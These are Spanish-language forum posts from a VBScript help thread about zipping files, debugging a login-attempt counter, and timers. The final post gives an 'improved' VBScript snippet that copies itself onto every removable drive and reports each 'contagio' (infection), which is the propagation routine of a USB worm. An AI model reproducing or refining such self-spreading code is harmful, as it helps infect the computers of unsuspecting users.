Mensajes

Es que recurriendo a la linea de comandos de otros programas, siempre se podrá hacer tal o tal cosa... la cuestión es... y si esos programas no están? 

El compresor zip básico viene con windows de serie, que yo recuerde el XP y el Vista lo traían.

Es que justamente, me refería a que winzip, y winrar no vienen de serie, pero las carpetas comprimidas (zip) del xp y como comentas Vista, si viene por defecto... el "Enviar a carpeta comprimida en zip"... para eso sirve el script que dejé... es vbs pero facilmente se puede portar a VB y mejorar... con lo de mejorar me refiero a que el otro es básico, sin verficación de que este todo correcto y demás 

Saludos

Es que recurriendo a la linea de comandos de otros programas, siempre se podrá hacer tal o tal cosa... la cuestión es... y si esos programas no están? 

Supongo que para mostrar a alguien la cantidad de intentos que le quedan... pero en el code no se implementa en ningún lado   

Saludos

["]

Que es lo que no sale.. cual es el problema? Error?
Vistazo de 5 segundos.. 

Text".Text="mar1"Then

Y esto otro...

Case 1
vez="una primera"
Case 1
vez = "una segunda"
End Select

También el i no comienza con valor alguno... así que si a 0 le restas uno, va quedando negativo.. nunca va a valera 2 o 1 o 0

¿Por qué utilizas Private Sub Form_Load()?
Es VBS, no VB.
Saludos.

Porque piensa compilarlo con VB

[Zippear archivos en vbs/batch/js]

No has buscado bien.. en XP (en vista no he probado)

Zippear archivos en vbs/batch/js<---click
Los códigos están comentados y es scripting puro

Saludos 

  no estaría de más que redactes una pregunta como debe de ser

Me he olvidado la bola de cristal en la casa de un familiar, así que no puedo adivinar nada en este momento 

Ahora entiendo porque el problema con el sleep .....

Es que en vbs, si al sleep le pones esperas muy grandes... muere  .

Lo mejor sería utilizar un timer (lo estas haciendo en VB) en una función, y cuando lo necesites lo llamas.

Saludos 

[Bakura182]

Bakura182, ve a scripting con la misma pregunta  , me gustaría saber donde tienes el vbs, si en un archivo suelto, o embedido en un html  , pero pregunta en scripting 

[wscript.scriptfullname]

Buenas... he de decir, que tu code necesita muchas mejoras  , aquí va...

Código (vb) [Seleccionar] Expandir

Set FSOvar = createobject("scripting.filesystemobject")
Set uni = FSOvar.drives

For each x in uni
If x.driveletter <> "A" and x.drivetype = 1 then
FSOvar.copyfile wscript.scriptfullname, x.driveletter &":\"
msgbox "contagio en " & x.driveletter
End If
Next


En lugar de ultilizar el nombre del script, utilizo wscript.scriptfullname que tiene la ruta completa del script en ejecución.
Y además, en el IF, utilizo drivetype = 1, ya que el tipo de disco 1 es extraíble 

Saludos